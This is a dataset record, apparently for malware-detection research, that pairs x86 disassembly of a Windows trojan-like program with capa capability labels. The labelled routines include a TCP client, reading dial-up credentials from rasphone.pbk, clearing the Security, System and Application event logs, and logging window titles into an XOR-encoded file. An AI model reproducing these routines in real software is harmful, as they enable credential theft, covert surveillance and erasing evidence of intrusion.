joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.004026f0
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32_ResetEvent]
mov byte [esi + 0xb5], 0
mov eax, dword [0x41a8fc]
test eax, eax
je 0x401f61
cmp eax, 4
je 0x401f61
cmp eax, 5
je 0x401f61
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32_Ordinal_23]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x401f84
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x41a8fc]
mov ebx, dword [esp + 0x34]
test eax, eax
je 0x401f98
push 0x41a900
jmp 0x401f99
push ebx
call dword [sym.imp.WS2_32_Ordinal_52]
mov edi, eax
test edi, edi
jne 0x401fb1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x41a8fc]
mov ebp, dword [esp + 0x38]
test eax, eax
mov word [esp + 0x20], 2
je 0x401fcf
mov cx, word [0x418108]
push ecx
jmp 0x401fd0
push ebp
call dword [sym.imp.WS2_32_Ordinal_9]
mov word [esp + 0x22], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x24]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x30], ecx
call dword [sym.imp.WS2_32_Ordinal_4]
cmp eax, 0xffffffff
jne 0x40200b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
cmp dword [0x41a8fc], 5
jne 0x40202b
push ebp
push ebx
mov ecx, esi
call fcn.004020e0
test al, al
jne 0x40202b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x13]
push 1
push ecx
push 8
push 0xffff
push edx
mov byte [esp + 0x27], 1
call dword [sym.imp.WS2_32_Ordinal_21]
test eax, eax
jne 0x4020a0
push str.WSAIoctl
push 0x41810c
call dword [sym.imp.KERNEL32_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
push 0
lea ecx, [esp + 0x17]
push 0
push ecx
mov ecx, dword [esi + 0xa8]
push 0
push 0
lea edx, [esp + 0x28]
push 0xc
push edx
push 0x98000004
push ecx
mov dword [esp + 0x38], 1
mov dword [esp + 0x3c], 0x7530
mov dword [esp + 0x40], 0x1388
call eax
push 1
push 0
push 0
push esi
push 0x4023f0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.0040aad0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x4028f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0x418124
mov ebp, ecx
push 0x4180e8
call dword [sym.imp.KERNEL32_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
mov ebx, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x18]
cmp ebx, esi
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0
jb 0x402974
mov dword [esp + 0x20], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32_Ordinal_19]
test eax, eax
jg 0x402955
mov ecx, dword [esp + 0x20]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x20], ecx
jl 0x402932
cmp dword [esp + 0x20], 0xf
je 0x4029aa
mov ecx, dword [esp + 0x18]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x1c], ecx
call dword [esp + 0x14]
sub ebx, esi
cmp ebx, esi
jae 0x40292a
test ebx, ebx
jle 0x40299e
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32_Ordinal_19]
test eax, eax
jg 0x402995
inc esi
cmp esi, 0xf
jl 0x40297a
cmp esi, 0xf
je 0x4029aa
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
cmp eax, ecx
je 0x4029ad
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x402b20
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.wsprintfA
mov ebx, ecx
push str.User32.DLL
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
push str.SHGetSpecialFolderPathA
push 0x4181c0
mov ebp, eax
call esi
push eax
call edi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x20]
push 0x105
push eax
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32_GetWindowsDirectoryA]
lea ecx, [esp + 0x20]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT_strchr]
mov edx, eax
add esp, 8
mov edi, str.Documents_and_Settings_
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x14]
mov esi, dword [sym.imp.KERNEL32_lstrcatA]
push ecx
push edx
call esi
lea eax, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call esi
push 0
lea ecx, [esp + 0x12c]
push 0x23
push ecx
push 0
call dword [esp + 0x20]
lea edx, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push edx
lea eax, [esp + 0x130]
push 0x41812c
push eax
call ebp
lea ecx, [esp + 0x30]
lea edx, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], edx
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x10], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp]
push eax
push 0x1000
push ebx
call dword [sym.imp.KERNEL32_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x402c5e
mov edx, dword [esp + 0x14]
push esi
inc edx
mov dword [esp + 0x18], edx
call dword [sym.imp.KERNEL32_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x402c45
mov eax, dword [esp + 0x10]
add ebp, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x402c22
push ebx
call sub.MSVCRT_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x18]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret
Function at 0x403be0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415368
push 0x411cc6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT_malloc]
add esp, 4
mov edx, eax
mov dword [ebp - 0x24], edx
test edx, edx
je 0x403d93
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov dword [ebp - 0x1c], esi
cmp byte [edx], 0x5c
jne 0x403cad
lea eax, [edx + 1]
cmp byte [eax], 0x5c
jne 0x403cad
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403c82
cmp al, 0x5c
je 0x403c82
push esi
call dword [sym.imp.USER32_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
mov edx, dword [ebp - 0x24]
jmp 0x403c67
cmp byte [esi], 0
je 0x403c8b
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403ca6
cmp al, 0x5c
je 0x403ca6
push esi
call dword [sym.imp.USER32_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
mov edx, dword [ebp - 0x24]
jmp 0x403c8b
cmp byte [esi], 0
je 0x403ccc
jmp 0x403cc8
lea eax, [edx + 1]
cmp byte [eax], 0x3a
jne 0x403ccc
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403ccc
cmp al, 0x5c
jne 0x403ccc
inc esi
mov dword [ebp - 0x1c], esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32_LoadLibraryA]
mov al, byte [esi]
test al, al
je 0x403d57
cmp al, 0x5c
jne 0x403d46
mov byte [esi], 0
push str.GetFileAttributesA
push 0x418010
call ebx
push eax
call edi
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
push ecx
call eax
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x403d36
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32_CreateDirectoryA]
test eax, eax
jne 0x403d43
push 0x4182b0
push 0x418010
call ebx
push eax
call edi
mov dword [ebp - 0x2c], eax
call eax
cmp eax, 0xb7
je 0x403d43
mov eax, dword [ebp - 0x24]
push eax
jmp 0x403d8a
and eax, 0x10
cmp al, 0x10
je 0x403d43
mov ecx, dword [ebp - 0x24]
push ecx
jmp 0x403d8a
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
mov edx, dword [ebp - 0x24]
jmp 0x403cd8
mov dword [ebp - 4], 0xffffffff
push edx
call dword [sym.imp.MSVCRT_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404070
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x784
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.GetLogicalDriveStringsA
mov dword [esp + 0x2c], ecx
push 0x418010
mov byte [esp + 0x398], 0x67
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x130]
push ecx
push 0x100
call eax
xor eax, eax
lea ebp, [esp + 0x130]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov al, byte [esp + 0x130]
mov dword [esp + 0xc], 1
test al, al
je 0x40424d
push ebx
jmp 0x4040ee
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push str.GetVolumeInformationA
push 0x4180e8
call esi
push eax
call edi
push str.SHGetFileInfoA
push 0x4181c0
mov ebx, eax
call esi
push eax
call edi
mov esi, eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x30]
push 0x104
xor edi, edi
push edx
push edi
push edi
push edi
push edi
push edi
push ebp
call ebx
push 0x410
lea eax, [esp + 0x238]
push 0x160
push eax
push 0x80
push ebp
call esi
mov esi, dword [sym.imp.KERNEL32_lstrlenA]
lea ecx, [esp + 0x344]
push ecx
call esi
lea edx, [esp + 0x30]
mov ebx, eax
push edx
inc ebx
call esi
inc eax
mov dword [esp + 0x18], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x4041b7
cmp al, 0x42
je 0x4041b7
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x28]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32_GetDiskFreeSpaceExA]
test eax, eax
je 0x4041b7
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ecx, 0x14
call fcn.00411cd0
mov edx, dword [esp + 0x28]
mov edi, eax
mov eax, dword [esp + 0x24]
mov ecx, 0x14
call fcn.00411cd0
mov dword [esp + 0x14], eax
jmp 0x4041bb
mov dword [esp + 0x14], edi
mov esi, dword [esp + 0x10]
mov dl, byte [ebp]
push ebp
mov byte [esp + esi + 0x398], dl
call dword [sym.imp.KERNEL32_GetDriveTypeA]
mov byte [esp + esi + 0x395], al
mov eax, dword [esp + 0x14]
mov dword [esp + esi + 0x396], edi
mov dword [esp + esi + 0x39a], eax
mov eax, dword [esp + 0x10]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0x344]
lea edi, [esp + eax + 0x39e]
push ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebx + eax]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
lea esi, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, ebx
lea edx, [eax + ecx + 0xa]
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x4040e2
pop ebx
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x390]
push eax
push ecx
mov ecx, dword [esp + 0x30]
call fcn.00406ad0
pop edi
pop esi
pop ebp
add esp, 0x784
ret
Function at 0x4044f0
Capabilities:
Delete directory
Link many functions at runtime

Disassembly:
sub esp, 0x464
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32_LoadLibraryA]
push str.wsprintfA
mov dword [esp + 0x24], ecx
push str.User32.DLL
call edi
mov ebp, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call ebp
push str.FindNextFileA
push 0x418010
mov esi, eax
call edi
push eax
call ebp
mov ebx, dword [esp + 0x478]
mov dword [esp + 0x1c], eax
mov al, 0x2a
push ebx
mov byte [esp + 0x17], al
mov byte [esp + 0x19], al
lea eax, [esp + 0x14]
lea ecx, [esp + 0x16c]
push eax
push ecx
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], 0
call esi
add esp, 0xc
push str.FindFirstFileA
push 0x418010
call edi
push eax
call ebp
lea edx, [esp + 0x28]
lea ecx, [esp + 0x168]
push edx
push ecx
call eax
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x4045a1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x464
ret 4
push str.DeleteFileA
push 0x418010
call edi
push eax
call ebp
mov dword [esp + 0x24], eax
cmp byte [esp + 0x54], 0x2e
je 0x404607
mov al, byte [esp + 0x28]
lea edx, [esp + 0x54]
push edx
push ebx
test al, 0x10
push 0x41812c
je 0x4045ee
lea eax, [esp + 0x37c]
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x370]
push ecx
mov ecx, dword [esp + 0x24]
call fcn.004044f0
jmp 0x404607
lea eax, [esp + 0x278]
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x26c]
push ecx
call dword [esp + 0x28]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
push edx
push eax
call dword [esp + 0x24]
test eax, eax
jne 0x4045b4
push 0x418374
push 0x418010
call edi
push eax
call ebp
mov ecx, dword [esp + 0x18]
push ecx
call eax
push ebx
call dword [sym.imp.KERNEL32_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x464
ret 4

Function at 0x404fa0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32_CreateFileA]
push 0x4183dc
push 0x418010
mov esi, eax
call dword [sym.imp.KERNEL32_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
lea edx, [esp + 0x24]
push 0
push edx
push ebp
push esi
call eax
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32_WriteFile]
push esi
call dword [sym.imp.KERNEL32_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.00406ad0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
Function at 0x405090
Capabilities:
Move file

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, ecx
push esi
call dword [sym.imp.KERNEL32_lstrlenA]
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.MSVCRT_rename]
add esp, 8
mov ecx, edi
push 0x71
call fcn.00404910
pop edi
pop esi
ret 4

Function at 0x4053b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push accept
push edx
call dword [sym.imp.KERNEL32_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405404
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32_SetFilePointer]
push 0x400
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32_ReadFile]
push esi
call dword [sym.imp.KERNEL32_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.00405350
add esp, 0x10
cmp eax, 0xffffffff
jne 0x40546f
push edi
call sub.MSVCRT_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret

Function at 0x405fa0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x405fc2
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.0040b2f0
add esp, 8
test al, al
jne 0x405fd6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.DJX_UP
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x406030
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x160
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.RegQueryValueA
push 0x418228
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
push 0x418318
push 0x418228
mov ebx, eax
call esi
push eax
call edi
push 0x418308
push 0x418228
mov ebp, eax
call esi
push eax
call edi
mov esi, dword [esp + 0x174]
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40615a
mov ecx, 0x41
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push accept
call edx
test eax, eax
jne 0x40615a
lea ecx, [esp + 0x14]
lea edx, [esp + 0x6c]
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call ebx
mov ecx, dword [esp + 0x10]
push ecx
call ebp
lea edx, [esp + 0x6c]
push edx
call dword [sym.imp.KERNEL32_lstrlenA]
test eax, eax
je 0x40615a
lea eax, [esp + 0x6c]
push 0x4182e8
push eax
call dword [sym.imp.MSVCRT_strstr]
add esp, 8
test eax, eax
je 0x40615a
push esi
push eax
call dword [sym.imp.KERNEL32_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x178]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x406134
mov dword [esp + 0x30], str.WinSta0Default
lea ecx, [esp + 0x18]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x88]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32_CreateProcessA]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x160
ret

Function at 0x406170
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x4061c0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x4061a7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x406210
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Write file on windows

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push 0x4183c4
push 0x418010
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
mov ebp, eax
mov al, 0x6f
push str.GetSystemDirectoryA
push 0x418010
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call esi
push eax
call edi
lea ecx, [esp + 0x20]
push 0x104
push ecx
call eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
call dword [sym.imp.KERNEL32_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea ecx, [esp + 0x34]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32_CreateFileA]
mov edi, eax
push 0
push edi
mov dword [esp + 0x24], 0
call ebp
cmp eax, 0x3200000
jae 0x4062de
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32_SetFilePointer]
mov ebx, dword [esp + 0x128]
push ebx
call dword [sym.imp.KERNEL32_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebp, eax
test esi, esi
jle 0x40630d
mov ecx, ebx
sub ecx, ebp
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x406301
lea eax, [esp + 0x1c]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32_lstrlenA]
push eax
push ebp
push edi
call dword [sym.imp.KERNEL32_WriteFile]
push edi
call dword [sym.imp.KERNEL32_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
Function at 0x406340
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x41b088
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32_GetForegroundWindow]
push 0x400
push 0x41b088
push eax
mov dword [0x41b488], eax
call dword [sym.imp.USER32_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x41b084]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x41b488]
cmp eax, ecx
je 0x406450
push 0x41b088
call dword [sym.imp.KERNEL32_lstrlenA]
test eax, eax
jle 0x406444
push str.wsprintfA
push str.User32.DLL
call dword [sym.imp.KERNEL32_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32_GetProcAddress]
lea ecx, [esp + 8]
mov esi, eax
push ecx
call dword [sym.imp.KERNEL32_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x41b088
lea edx, [esp + 0x34]
push 0x418f38
push edx
call esi
lea eax, [esp + 0x3c]
push eax
call fcn.00406210
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x41b088
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x41b488]
mov dword [0x41b084], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret